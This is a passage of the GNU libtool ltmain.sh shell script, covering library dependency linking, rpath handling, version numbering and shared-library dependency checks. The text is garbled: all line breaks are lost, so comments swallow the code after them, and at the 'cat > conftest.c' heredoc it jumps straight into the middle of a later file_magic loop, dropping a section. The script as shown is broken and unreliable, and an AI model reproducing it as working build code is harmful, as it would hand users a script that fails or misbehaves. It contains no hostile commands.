linklib=$newlib fi # test -n "$old_archive_from_expsyms_cmds" if test "$linkmode" = prog || test "$opt_mode" != relink; then add_shlibpath= add_dir= add= lib_linked=yes case $hardcode_action in immediate | unsupported) if test "$hardcode_direct" = no; then add="$dir/$linklib" case $host in *-*-sco3.2v5.0.[024]*) add_dir="-L$dir" ;; *-*-sysv4*uw2*) add_dir="-L$dir" ;; *-*-sysv5OpenUNIX* | *-*-sysv5UnixWare7.[01].[10]* | \ *-*-unixware7*) add_dir="-L$dir" ;; *-*-darwin* ) # if the lib is a (non-dlopened) module then we can not # link against it, someone is ignoring the earlier warnings if /usr/bin/file -L $add 2> /dev/null | $GREP ": [^:]* bundle" >/dev/null ; then if test "X$dlopenmodule" != "X$lib"; then $ECHO "*** Warning: lib $linklib is a module, not a shared library" if test -z "$old_library" ; then echo echo "*** And there doesn't seem to be a static archive available" echo "*** The link will probably fail, sorry" else add="$dir/$old_library" fi elif test -n "$old_library"; then add="$dir/$old_library" fi fi esac elif test "$hardcode_minus_L" = no; then case $host in *-*-sunos*) add_shlibpath="$dir" ;; esac add_dir="-L$dir" add="-l$name" elif test "$hardcode_shlibpath_var" = no; then add_shlibpath="$dir" add="-l$name" else lib_linked=no fi ;; relink) if test "$hardcode_direct" = yes && test "$hardcode_direct_absolute" = no; then add="$dir/$linklib" elif test "$hardcode_minus_L" = yes; then add_dir="-L$absdir" # Try looking first in the location we're being installed to. if test -n "$inst_prefix_dir"; then case $libdir in [\\/]*) func_append add_dir " -L$inst_prefix_dir$libdir" ;; esac fi add="-l$name" elif test "$hardcode_shlibpath_var" = yes; then add_shlibpath="$dir" add="-l$name" else lib_linked=no fi ;; *) lib_linked=no ;; esac if test "$lib_linked" != yes; then func_fatal_configuration "unsupported hardcode properties" fi if test -n "$add_shlibpath"; then case :$compile_shlibpath: in *":$add_shlibpath:"*) ;; *) func_append compile_shlibpath "$add_shlibpath:" ;; esac fi if test "$linkmode" = prog; then test -n "$add_dir" && compile_deplibs="$add_dir $compile_deplibs" test -n "$add" && compile_deplibs="$add $compile_deplibs" else test -n "$add_dir" && deplibs="$add_dir $deplibs" test -n "$add" && deplibs="$add $deplibs" if test "$hardcode_direct" != yes && test "$hardcode_minus_L" != yes && test "$hardcode_shlibpath_var" = yes; then case :$finalize_shlibpath: in *":$libdir:"*) ;; *) func_append finalize_shlibpath "$libdir:" ;; esac fi fi fi if test "$linkmode" = prog || test "$opt_mode" = relink; then add_shlibpath= add_dir= add= # Finalize command for both is simple: just hardcode it. if test "$hardcode_direct" = yes && test "$hardcode_direct_absolute" = no; then add="$libdir/$linklib" elif test "$hardcode_minus_L" = yes; then add_dir="-L$libdir" add="-l$name" elif test "$hardcode_shlibpath_var" = yes; then case :$finalize_shlibpath: in *":$libdir:"*) ;; *) func_append finalize_shlibpath "$libdir:" ;; esac add="-l$name" elif test "$hardcode_automatic" = yes; then if test -n "$inst_prefix_dir" && test -f "$inst_prefix_dir$libdir/$linklib" ; then add="$inst_prefix_dir$libdir/$linklib" else add="$libdir/$linklib" fi else # We cannot seem to hardcode it, guess we'll fake it. add_dir="-L$libdir" # Try looking first in the location we're being installed to. if test -n "$inst_prefix_dir"; then case $libdir in [\\/]*) func_append add_dir " -L$inst_prefix_dir$libdir" ;; esac fi add="-l$name" fi if test "$linkmode" = prog; then test -n "$add_dir" && finalize_deplibs="$add_dir $finalize_deplibs" test -n "$add" && finalize_deplibs="$add $finalize_deplibs" else test -n "$add_dir" && deplibs="$add_dir $deplibs" test -n "$add" && deplibs="$add $deplibs" fi fi elif test "$linkmode" = prog; then # Here we assume that one of hardcode_direct or hardcode_minus_L # is not unsupported. This is valid on all known static and # shared platforms. if test "$hardcode_direct" != unsupported; then test -n "$old_library" && linklib="$old_library" compile_deplibs="$dir/$linklib $compile_deplibs" finalize_deplibs="$dir/$linklib $finalize_deplibs" else compile_deplibs="-l$name -L$dir $compile_deplibs" finalize_deplibs="-l$name -L$dir $finalize_deplibs" fi elif test "$build_libtool_libs" = yes; then # Not a shared library if test "$deplibs_check_method" != pass_all; then # We're trying link a shared library against a static one # but the system doesn't support it. # Just print a warning and add the library to dependency_libs so # that the program can be linked against the static library. echo $ECHO "*** Warning: This system can not link to static lib archive $lib." echo "*** I have the capability to make that library automatically link in when" echo "*** you link to this library. But I can only do this if you have a" echo "*** shared version of the library, which you do not appear to have." if test "$module" = yes; then echo "*** But as you try to build a module library, libtool will still create " echo "*** a static module, that should work as long as the dlopening application" echo "*** is linked with the -dlopen flag to resolve symbols at runtime." if test -z "$global_symbol_pipe"; then echo echo "*** However, this would only work if libtool was able to extract symbol" echo "*** lists from a program, using \`nm' or equivalent, but libtool could" echo "*** not find such a program. So, this module is probably useless." echo "*** \`nm' from GNU binutils and a full rebuild may help." fi if test "$build_old_libs" = no; then build_libtool_libs=module build_old_libs=yes else build_libtool_libs=no fi fi else deplibs="$dir/$old_library $deplibs" link_static=yes fi fi # link shared/static library? if test "$linkmode" = lib; then if test -n "$dependency_libs" && { test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes || test "$link_static" = yes; }; then # Extract -R from dependency_libs temp_deplibs= for libdir in $dependency_libs; do case $libdir in -R*) func_stripname '-R' '' "$libdir" temp_xrpath=$func_stripname_result case " $xrpath " in *" $temp_xrpath "*) ;; *) func_append xrpath " $temp_xrpath";; esac;; *) func_append temp_deplibs " $libdir";; esac done dependency_libs="$temp_deplibs" fi func_append newlib_search_path " $absdir" # Link against this library test "$link_static" = no && newdependency_libs="$abs_ladir/$laname $newdependency_libs" # ... and its dependency_libs tmp_libs= for deplib in $dependency_libs; do newdependency_libs="$deplib $newdependency_libs" case $deplib in -L*) func_stripname '-L' '' "$deplib" func_resolve_sysroot "$func_stripname_result";; *) func_resolve_sysroot "$deplib" ;; esac if $opt_preserve_dup_deps ; then case "$tmp_libs " in *" $func_resolve_sysroot_result "*) func_append specialdeplibs " $func_resolve_sysroot_result" ;; esac fi func_append tmp_libs " $func_resolve_sysroot_result" done if test "$link_all_deplibs" != no; then # Add the search paths of all dependency libraries for deplib in $dependency_libs; do path= case $deplib in -L*) path="$deplib" ;; *.la) func_resolve_sysroot "$deplib" deplib=$func_resolve_sysroot_result func_dirname "$deplib" "" "." dir=$func_dirname_result # We need an absolute path. case $dir in [\\/]* | [A-Za-z]:[\\/]*) absdir="$dir" ;; *) absdir=`cd "$dir" && pwd` if test -z "$absdir"; then func_warning "cannot determine absolute directory name of \`$dir'" absdir="$dir" fi ;; esac if $GREP "^installed=no" $deplib > /dev/null; then case $host in *-*-darwin*) depdepl= eval deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib` if test -n "$deplibrary_names" ; then for tmp in $deplibrary_names ; do depdepl=$tmp done if test -f "$absdir/$objdir/$depdepl" ; then depdepl="$absdir/$objdir/$depdepl" darwin_install_name=`${OTOOL} -L $depdepl | awk '{if (NR == 2) {print $1;exit}}'` if test -z "$darwin_install_name"; then darwin_install_name=`${OTOOL64} -L $depdepl | awk '{if (NR == 2) {print $1;exit}}'` fi func_append compiler_flags " ${wl}-dylib_file ${wl}${darwin_install_name}:${depdepl}" func_append linker_flags " -dylib_file ${darwin_install_name}:${depdepl}" path= fi fi ;; *) path="-L$absdir/$objdir" ;; esac else eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib` test -z "$libdir" && \ func_fatal_error "\`$deplib' is not a valid libtool archive" test "$absdir" != "$libdir" && \ func_warning "\`$deplib' seems to be moved" path="-L$absdir" fi ;; esac case " $deplibs " in *" $path "*) ;; *) deplibs="$path $deplibs" ;; esac done fi # link_all_deplibs != no fi # linkmode = lib done # for deplib in $libs if test "$pass" = link; then if test "$linkmode" = "prog"; then compile_deplibs="$new_inherited_linker_flags $compile_deplibs" finalize_deplibs="$new_inherited_linker_flags $finalize_deplibs" else compiler_flags="$compiler_flags "`$ECHO " $new_inherited_linker_flags" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` fi fi dependency_libs="$newdependency_libs" if test "$pass" = dlpreopen; then # Link the dlpreopened libraries before other libraries for deplib in $save_deplibs; do deplibs="$deplib $deplibs" done fi if test "$pass" != dlopen; then if test "$pass" != conv; then # Make sure lib_search_path contains only unique directories. lib_search_path= for dir in $newlib_search_path; do case "$lib_search_path " in *" $dir "*) ;; *) func_append lib_search_path " $dir" ;; esac done newlib_search_path= fi if test "$linkmode,$pass" != "prog,link"; then vars="deplibs" else vars="compile_deplibs finalize_deplibs" fi for var in $vars dependency_libs; do # Add libraries to $var in reverse order eval tmp_libs=\"\$$var\" new_libs= for deplib in $tmp_libs; do # FIXME: Pedantically, this is the right thing to do, so # that some nasty dependency loop isn't accidentally # broken: #new_libs="$deplib $new_libs" # Pragmatically, this seems to cause very few problems in # practice: case $deplib in -L*) new_libs="$deplib $new_libs" ;; -R*) ;; *) # And here is the reason: when a library appears more # than once as an explicit dependence of a library, or # is implicitly linked in more than once by the # compiler, it is considered special, and multiple # occurrences thereof are not removed. Compare this # with having the same library being listed as a # dependency of multiple other libraries: in this case, # we know (pedantically, we assume) the library does not # need to be listed more than once, so we keep only the # last copy. This is not always right, but it is rare # enough that we require users that really mean to play # such unportable linking tricks to link the library # using -Wl,-lname, so that libtool does not consider it # for duplicate removal. case " $specialdeplibs " in *" $deplib "*) new_libs="$deplib $new_libs" ;; *) case " $new_libs " in *" $deplib "*) ;; *) new_libs="$deplib $new_libs" ;; esac ;; esac ;; esac done tmp_libs= for deplib in $new_libs; do case $deplib in -L*) case " $tmp_libs " in *" $deplib "*) ;; *) func_append tmp_libs " $deplib" ;; esac ;; *) func_append tmp_libs " $deplib" ;; esac done eval $var=\"$tmp_libs\" done # for var fi # Last step: remove runtime libs from dependency_libs # (they stay in deplibs) tmp_libs= for i in $dependency_libs ; do case " $predeps $postdeps $compiler_lib_search_path " in *" $i "*) i="" ;; esac if test -n "$i" ; then func_append tmp_libs " $i" fi done dependency_libs=$tmp_libs done # for pass if test "$linkmode" = prog; then dlfiles="$newdlfiles" fi if test "$linkmode" = prog || test "$linkmode" = lib; then dlprefiles="$newdlprefiles" fi case $linkmode in oldlib) if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then func_warning "\`-dlopen' is ignored for archives" fi case " $deplibs" in *\ -l* | *\ -L*) func_warning "\`-l' and \`-L' are ignored for archives" ;; esac test -n "$rpath" && \ func_warning "\`-rpath' is ignored for archives" test -n "$xrpath" && \ func_warning "\`-R' is ignored for archives" test -n "$vinfo" && \ func_warning "\`-version-info/-version-number' is ignored for archives" test -n "$release" && \ func_warning "\`-release' is ignored for archives" test -n "$export_symbols$export_symbols_regex" && \ func_warning "\`-export-symbols' is ignored for archives" # Now set the variables for building old libraries. build_libtool_libs=no oldlibs="$output" func_append objs "$old_deplibs" ;; lib) # Make sure we only generate libraries of the form `libNAME.la'. case $outputname in lib*) func_stripname 'lib' '.la' "$outputname" name=$func_stripname_result eval shared_ext=\"$shrext_cmds\" eval libname=\"$libname_spec\" ;; *) test "$module" = no && \ func_fatal_help "libtool library \`$output' must begin with \`lib'" if test "$need_lib_prefix" != no; then # Add the "lib" prefix for modules if required func_stripname '' '.la' "$outputname" name=$func_stripname_result eval shared_ext=\"$shrext_cmds\" eval libname=\"$libname_spec\" else func_stripname '' '.la' "$outputname" libname=$func_stripname_result fi ;; esac if test -n "$objs"; then if test "$deplibs_check_method" != pass_all; then func_fatal_error "cannot build libtool library \`$output' from non-libtool objects on this host:$objs" else echo $ECHO "*** Warning: Linking the shared library $output against the non-libtool" $ECHO "*** objects $objs is not portable!" func_append libobjs " $objs" fi fi test "$dlself" != no && \ func_warning "\`-dlopen self' is ignored for libtool libraries" set dummy $rpath shift test "$#" -gt 1 && \ func_warning "ignoring multiple \`-rpath's for a libtool library" install_libdir="$1" oldlibs= if test -z "$rpath"; then if test "$build_libtool_libs" = yes; then # Building a libtool convenience library. # Some compilers have problems with a `.al' extension so # convenience libraries should have the same extension an # archive normally would. oldlibs="$output_objdir/$libname.$libext $oldlibs" build_libtool_libs=convenience build_old_libs=yes fi test -n "$vinfo" && \ func_warning "\`-version-info/-version-number' is ignored for convenience libraries" test -n "$release" && \ func_warning "\`-release' is ignored for convenience libraries" else # Parse the version information argument. save_ifs="$IFS"; IFS=':' set dummy $vinfo 0 0 0 shift IFS="$save_ifs" test -n "$7" && \ func_fatal_help "too many parameters to \`-version-info'" # convert absolute version numbers to libtool ages # this retains compatibility with .la files and attempts # to make the code below a bit more comprehensible case $vinfo_number in yes) number_major="$1" number_minor="$2" number_revision="$3" # # There are really only two kinds -- those that # use the current revision as the major version # and those that subtract age and use age as # a minor version. But, then there is irix # which has an extra 1 added just for fun # case $version_type in # correct linux to gnu/linux during the next big refactor darwin|linux|osf|windows|none) func_arith $number_major + $number_minor current=$func_arith_result age="$number_minor" revision="$number_revision" ;; freebsd-aout|freebsd-elf|qnx|sunos) current="$number_major" revision="$number_minor" age="0" ;; irix|nonstopux) func_arith $number_major + $number_minor current=$func_arith_result age="$number_minor" revision="$number_minor" lt_irix_increment=no ;; *) func_fatal_configuration "$modename: unknown library version type \`$version_type'" ;; esac ;; no) current="$1" revision="$2" age="$3" ;; esac # Check that each of the things are valid numbers. case $current in 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; *) func_error "CURRENT \`$current' must be a nonnegative integer" func_fatal_error "\`$vinfo' is not valid version information" ;; esac case $revision in 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; *) func_error "REVISION \`$revision' must be a nonnegative integer" func_fatal_error "\`$vinfo' is not valid version information" ;; esac case $age in 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; *) func_error "AGE \`$age' must be a nonnegative integer" func_fatal_error "\`$vinfo' is not valid version information" ;; esac if test "$age" -gt "$current"; then func_error "AGE \`$age' is greater than the current interface number \`$current'" func_fatal_error "\`$vinfo' is not valid version information" fi # Calculate the version variables. major= versuffix= verstring= case $version_type in none) ;; darwin) # Like Linux, but with the current version available in # verstring for coding it into the library header func_arith $current - $age major=.$func_arith_result versuffix="$major.$age.$revision" # Darwin ld doesn't like 0 for these options... func_arith $current + 1 minor_current=$func_arith_result xlcverstring="${wl}-compatibility_version ${wl}$minor_current ${wl}-current_version ${wl}$minor_current.$revision" verstring="-compatibility_version $minor_current -current_version $minor_current.$revision" ;; freebsd-aout) major=".$current" versuffix=".$current.$revision"; ;; freebsd-elf) major=".$current" versuffix=".$current" ;; irix | nonstopux) if test "X$lt_irix_increment" = "Xno"; then func_arith $current - $age else func_arith $current - $age + 1 fi major=$func_arith_result case $version_type in nonstopux) verstring_prefix=nonstopux ;; *) verstring_prefix=sgi ;; esac verstring="$verstring_prefix$major.$revision" # Add in all the interfaces that we are compatible with. loop=$revision while test "$loop" -ne 0; do func_arith $revision - $loop iface=$func_arith_result func_arith $loop - 1 loop=$func_arith_result verstring="$verstring_prefix$major.$iface:$verstring" done # Before this point, $major must not contain `.'. major=.$major versuffix="$major.$revision" ;; linux) # correct to gnu/linux during the next big refactor func_arith $current - $age major=.$func_arith_result versuffix="$major.$age.$revision" ;; osf) func_arith $current - $age major=.$func_arith_result versuffix=".$current.$age.$revision" verstring="$current.$age.$revision" # Add in all the interfaces that we are compatible with. loop=$age while test "$loop" -ne 0; do func_arith $current - $loop iface=$func_arith_result func_arith $loop - 1 loop=$func_arith_result verstring="$verstring:${iface}.0" done # Make executables depend on our current version. func_append verstring ":${current}.0" ;; qnx) major=".$current" versuffix=".$current" ;; sunos) major=".$current" versuffix=".$current.$revision" ;; windows) # Use '-' rather than '.', since we only want one # extension on DOS 8.3 filesystems. func_arith $current - $age major=$func_arith_result versuffix="-$major" ;; *) func_fatal_configuration "unknown library version type \`$version_type'" ;; esac # Clear the version info if we defaulted, and they specified a release. if test -z "$vinfo" && test -n "$release"; then major= case $version_type in darwin) # we can't check for "0.0" in archive_cmds due to quoting # problems, so we reset it completely verstring= ;; *) verstring="0.0" ;; esac if test "$need_version" = no; then versuffix= else versuffix=".0.0" fi fi # Remove version info from name if versioning should be avoided if test "$avoid_version" = yes && test "$need_version" = no; then major= versuffix= verstring="" fi # Check to see if the archive will have undefined symbols. if test "$allow_undefined" = yes; then if test "$allow_undefined_flag" = unsupported; then func_warning "undefined symbols not allowed in $host shared libraries" build_libtool_libs=no build_old_libs=yes fi else # Don't allow undefined symbols. allow_undefined_flag="$no_undefined_flag" fi fi func_generate_dlsyms "$libname" "$libname" "yes" func_append libobjs " $symfileobj" test "X$libobjs" = "X " && libobjs= if test "$opt_mode" != relink; then # Remove our outputs, but don't remove object files since they # may have been created when compiling PIC objects. removelist= tempremovelist=`$ECHO "$output_objdir/*"` for p in $tempremovelist; do case $p in *.$objext | *.gcno) ;; $output_objdir/$outputname | $output_objdir/$libname.* | $output_objdir/${libname}${release}.*) if test "X$precious_files_regex" != "X"; then if $ECHO "$p" | $EGREP -e "$precious_files_regex" >/dev/null 2>&1 then continue fi fi func_append removelist " $p" ;; *) ;; esac done test -n "$removelist" && \ func_show_eval "${RM}r \$removelist" fi # Now set the variables for building old libraries. if test "$build_old_libs" = yes && test "$build_libtool_libs" != convenience ; then func_append oldlibs " $output_objdir/$libname.$libext" # Transform .lo files to .o files. oldobjs="$objs "`$ECHO "$libobjs" | $SP2NL | $SED "/\.${libext}$/d; $lo2o" | $NL2SP` fi # Eliminate all temporary directories. #for path in $notinst_path; do # lib_search_path=`$ECHO "$lib_search_path " | $SED "s% $path % %g"` # deplibs=`$ECHO "$deplibs " | $SED "s% -L$path % %g"` # dependency_libs=`$ECHO "$dependency_libs " | $SED "s% -L$path % %g"` #done if test -n "$xrpath"; then # If the user specified any rpath flags, then add them. temp_xrpath= for libdir in $xrpath; do func_replace_sysroot "$libdir" func_append temp_xrpath " -R$func_replace_sysroot_result" case "$finalize_rpath " in *" $libdir "*) ;; *) func_append finalize_rpath " $libdir" ;; esac done if test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes; then dependency_libs="$temp_xrpath $dependency_libs" fi fi # Make sure dlfiles contains only unique files that won't be dlpreopened old_dlfiles="$dlfiles" dlfiles= for lib in $old_dlfiles; do case " $dlprefiles $dlfiles " in *" $lib "*) ;; *) func_append dlfiles " $lib" ;; esac done # Make sure dlprefiles contains only unique files old_dlprefiles="$dlprefiles" dlprefiles= for lib in $old_dlprefiles; do case "$dlprefiles " in *" $lib "*) ;; *) func_append dlprefiles " $lib" ;; esac done if test "$build_libtool_libs" = yes; then if test -n "$rpath"; then case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-*-beos* | *-cegcc* | *-*-haiku*) # these systems don't actually have a c library (as such)! ;; *-*-rhapsody* | *-*-darwin1.[012]) # Rhapsody C library is in the System framework func_append deplibs " System.ltframework" ;; *-*-netbsd*) # Don't link with libc until the a.out ld.so is fixed. ;; *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*) # Do not include libc due to us having libc/libc_r. ;; *-*-sco3.2v5* | *-*-sco5v6*) # Causes problems with __ctype ;; *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*) # Compiler inserts libc in the correct place for threads to work ;; *) # Add libc to deplibs on all other systems if necessary. if test "$build_libtool_need_lc" = "yes"; then func_append deplibs " -lc" fi ;; esac fi # Transform deplibs into only deplibs that can be linked in shared. name_save=$name libname_save=$libname release_save=$release versuffix_save=$versuffix major_save=$major # I'm not sure if I'm treating the release correctly. I think # release should show up in the -l (ie -lgmp5) so we don't want to # add it in twice. Is that correct? release="" versuffix="" major="" newdeplibs= droppeddeps=no case $deplibs_check_method in pass_all) # Don't check for shared/static. Everything works. # This might be a little naive. We might want to check # whether the library exists or not. But this is on # osf3 & osf4 and I'm not really sure... Just # implementing what was already the behavior. newdeplibs=$deplibs ;; test_compile) # This code stresses the "libraries are programs" paradigm to its # limits. Maybe even breaks it. We compile a program, linking it # against the deplibs as a proxy for the library. Then we can check # whether they linked in statically or dynamically with ldd. $opt_dry_run || $RM conftest.c cat > conftest.c </dev/null` $nocaseglob else potential_libs=`ls $i/$libnameglob[.-]* 2>/dev/null` fi for potent_lib in $potential_libs; do # Follow soft links. if ls -lLd "$potent_lib" 2>/dev/null | $GREP " -> " >/dev/null; then continue fi # The statement above tries to avoid entering an # endless loop below, in case of cyclic links. # We might still enter an endless loop, since a link # loop can be closed while we follow links, # but so what? potlib="$potent_lib" while test -h "$potlib" 2>/dev/null; do potliblink=`ls -ld $potlib | ${SED} 's/.* -> //'` case $potliblink in [\\/]* | [A-Za-z]:[\\/]*) potlib="$potliblink";; *) potlib=`$ECHO "$potlib" | $SED 's,[^/]*$,,'`"$potliblink";; esac done if eval $file_magic_cmd \"\$potlib\" 2>/dev/null | $SED -e 10q | $EGREP "$file_magic_regex" > /dev/null; then func_append newdeplibs " $a_deplib" a_deplib="" break 2 fi done done fi if test -n "$a_deplib" ; then droppeddeps=yes echo $ECHO "*** Warning: linker path does not have real file for library $a_deplib." echo "*** I have the capability to make that library automatically link in when" echo "*** you link to this library. But I can only do this if you have a" echo "*** shared version of the library, which you do not appear to have" echo "*** because I did check the linker path looking for a file starting" if test -z "$potlib" ; then $ECHO "*** with $libname but no candidates were found. (...for file magic test)" else $ECHO "*** with $libname and none of the candidates passed a file format test" $ECHO "*** using a file magic. Last file checked: $potlib" fi fi ;; *) # Add a -L argument. func_append newdeplibs " $a_deplib" ;; esac done # Gone through all deplibs. ;; match_pattern*) set dummy $deplibs_check_method; shift match_pattern_regex=`expr "$deplibs_check_method" : "$1 \(.*\)"` for a_deplib in $deplibs; do case $a_deplib in -l*) func_stripname -l '' "$a_deplib" name=$func_stripname_result if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then case " $predeps $postdeps " in *" $a_deplib "*) func_append newdeplibs " $a_deplib" a_deplib="" ;; esac fi if test -n "$a_deplib" ; then libname=`eval "\\$ECHO \"$libname_spec\""` for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do potential_libs=`ls $i/$libname[.-]* 2>/dev/null` for potent_lib in $potential_libs; do potlib="$potent_lib" # see symlink-check above in file_magic test if eval "\$ECHO \"$potent_lib\"" 2>/dev/null | $SED 10q | \ $EGREP "$match_pattern_regex" > /dev/null; then func_append newdeplibs " $a_deplib" a_deplib="" break 2 fi done done fi if test -n "$a_deplib" ; then droppeddeps=yes echo $ECHO "*** Warning: linker path does not have real file for library $a_deplib." echo "*** I have the capability to make that library automatically link in when" echo "*** you link to this library. But I can only do this if you have a" echo "*** shared version of the library, which you do not appear to have" echo "*** because I did check the linker path looking for a file starting" if test -z "$potlib" ; then $ECHO "*** with $libname but no candidates were found. (...for regex pattern test)" else $ECHO "*** with $libname and none of the candidates passed a file format test" $ECHO "*** using a regex pattern. Last file checked: $potlib" fi fi ;; *) # Add a -L argument. func_append newdeplibs " $a_deplib" ;; esac done # Gone through all deplibs. ;; none | unknown | *) newdeplibs="" tmp_deplibs=`$ECHO " $deplibs" | $SED 's/ -lc$//; s/ -[LR][^ ]*//g'` if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then for i in $predeps $postdeps ; do # can't use Xsed below, because $i might contain '/' tmp_deplibs=`$ECHO " $tmp_deplibs" | $SED "s,$i,,"` done fi case $tmp_deplibs in *[!\ \ ]*) echo if test "X$deplibs_check_method" = "Xnone"; then echo "*** Warning: inter-library dependencies are not supported in this platform." else echo "*** Warning: inter-library dependencies are not known to be supported." fi echo "*** All declared inter-library dependencies are being dropped." droppeddeps=yes ;; esac ;; esac versuffix=$versuffix_save major=$major_save release=$release_save libname=$libname_save name=$name_save case $host in *-*-rhapsody* | *-*-darwin1.[012]) # On Rhapsody replace the C library with the System framework newdeplibs=`$ECHO " $newdeplibs" | $SED 's/ -lc / System.ltframework /'` ;; esac if test "$droppeddeps" = yes; then if test "$module" = yes; then echo echo "*** Warning: libtool could not satisfy all declared inter-library" $ECHO "*** dependencies of module $libname. Therefore, libtool will create" echo "*** a static module, that should work as long as the dlopening" echo "*** application is linked with the -dlopen flag." if test -z "$global_symbol_pipe"; then echo echo "*** However, this would only work if libtool was able to extract symbol" echo "*** lists from a program, using \`nm' or equivalent, but libtool could" echo "*** not find such a program. So, this module is probably useless." echo "*** \`nm' from GNU binutils and a full rebuild may help." fi if test "$build_old_libs" = no; then oldlibs="$output_objdir/$libname.$libext" build_libtool_libs=module build_old_libs=yes else build_libtool_libs=no fi else echo "*** The inter-library dependencies that have been dropped here will be" echo "*** automatically added whenever a program is linked with this library" echo "*** or is declared to -dlopen it." if test "$allow_undefined" = no; then echo echo "*** Since this library must not contain undefined symbols," echo "*** because either the platform does not support them or" echo "*** it was explicitly requested with -no-undefined," echo "*** libtool will only create a static version of it." if test "$build_old_libs" = no; then oldlibs="$output_objdir/$libname.$libext" build_libtool_libs=module build_old_libs=yes else build_libtool_libs=no fi fi fi fi # Done checking deplibs! deplibs=$newdeplibs fi # Time to change all our "foo.ltframework" stuff back to "-framework foo" case $host in *-*-darwin*) newdeplibs=`$ECHO " $newdeplibs" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` new_inherited_linker_flags=`$ECHO " $new_inherited_linker_flags" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` deplibs=`$ECHO " $deplibs" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` ;; esac # move library search paths that coincide with paths to not yet # installed libraries to the beginning of the library search list new_libs= for path in $notinst_path; do case " $new_libs " in *" -L$path/$objdir "*) ;; *) case " $deplibs " in *" -L$path/$objdir "*) func_append new_libs " -L$path/$objdir" ;; esac ;; esac done for deplib in $deplibs; do case $deplib in -L*) case " $new_libs " in *" $deplib "*) ;; *) func_append new_libs " $deplib" ;; esac ;; *) func_append new_libs " $deplib" ;; esac done deplibs="$new_libs" # All the library-specific variables (install_libdir is set above). library_names= old_library= dlname= # Test again, we may have decided not to build it any more if test "$build_libtool_libs" = yes; then # Remove ${wl} instances when linking with ld. # FIXME: should test the right _cmds variable. case $archive_cmds in *\$LD\ *) wl= ;; esac if test "$hardcode_into_libs" = yes; then # Hardcode the library paths hardcode_libdirs= dep_rpath= rpath="$finalize_rpath" test "$opt_mode" != relink && rpath="$compile_rpath$rpath" for libdir in $rpath; do if test -n "$hardcode_libdir_flag_spec"; then if test -n "$hardcode_libdir_separator"; then func_replace_sysroot "$libdir" libdir=$func_replace_sysroot_result if test -z "$hardcode_libdirs"; then hardcode_libdirs="$libdir" else # Just accumulate the unique libdirs. case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) ;; *) func_append hardcode_libdirs "$hardcode_libdir_separator$libdir" ;; esac fi else eval flag=\"$hardcode_libdir_flag_spec\" func_append dep_rpath " $flag" fi elif test -n "$runpath_var"; then case "$perm_rpath " in *" $libdir "*) ;; *) func_append perm_rpath " $libdir" ;; esac fi done # Substitute the hardcoded libdirs into the rpath. if test -n "$hardcode_libdir_separator" && test -n "$hardcode_libdirs"; then libdir="$hardcode_libdirs" eval "dep_rpath=\"$hardcode_libdir_flag_spec\"" fi if test -n "$runpath_var" && test -n "$perm_rpath"; then # We should set the runpath_var. rpath= for dir in $perm_rpath; do func_append rpath "$dir:" done eval "$runpath_var='$rpath\$$runpath_var'; export $runpath_var" fi test -n "$dep_rpath" && deplibs="$dep_rpath $deplibs" fi shlibpath="$finalize_shlibpath" test "$opt_mode" != relink && shlibpath="$compile_shlibpath$shlibpath" if test -n "$shlibpath"; then eval "$shlibpath_var='$shlibpath\$$shlibpath_var'; export $shlibpath_var" fi # Get the real and link names of the library. eval shared_ext=\"$shrext_cmds\" eval library_names=\"$library_names_spec\" set dummy $library_names shift realname="$1" shift if test -n "$soname_spec"; then eval soname=\"$soname_spec\" else soname="$realname" fi if test -z "$dlname"; then dlname=$soname fi lib="$output_objdir/$realname" linknames= for link do func_append linknames " $link" done # Use standard objects if they are pic test -z "$pic_flag" && libobjs=`$ECHO "$libobjs" | $SP2NL | $SED "$lo2o" | $NL2SP` test "X$libobjs" = "X " && libobjs= delfiles= if test -n "$export_symbols" && test -n "$include_expsyms"; then $opt_dry_run || cp "$export_symbols" "$output_objdir/$libname.uexp" export_symbols="$output_objdir/$libname.uexp" func_append delfiles " $export_symbols" fi orig_export_symbols= case $host_os in cygwin* | mingw* | cegcc*) if test -n "$export_symbols" && test -z "$export_symbols_regex"; then # exporting using user supplied symfile if test "x`$SED 1q $export_symbols`" != xEXPORTS; then # and it's NOT already a .def file. Must figure out # which of the given symbols are data symbols and tag # them as such. So, trigger use of export_symbols_cmds. # export_symbols gets reassigned inside the "prepare # the list of exported symbols" if statement, so the # include_expsyms logic still works. orig_export_symbols="$export_symbols" export_symbols= always_export_symbols=yes fi fi ;; esac # Prepare the list of exported symbols if test -z "$export_symbols"; then if test "$always_export_symbols" = yes || test -n "$export_symbols_regex"; then func_verbose "generating symbol list for \`$libname.la'" export_symbols="$output_objdir/$libname.exp" $opt_dry_run || $RM $export_symbols cmds=$export_symbols_cmds save_ifs="$IFS"; IFS='~' for cmd1 in $cmds; do IFS="$save_ifs" # Take the normal branch if the nm_file_list_spec branch # doesn't work or if tool conversion is not needed. case $nm_file_list_spec~$to_tool_file_cmd in *~func_convert_file_noop | *~func_convert_file_msys_to_w32 | ~*) try_normal_branch=yes eval cmd=\"$cmd1\" func_len " $cmd" len=$func_len_result ;; *) try_normal_branch=no ;; esac if test "$try_normal_branch" = yes \ && { test "$len" -lt "$max_cmd_len" 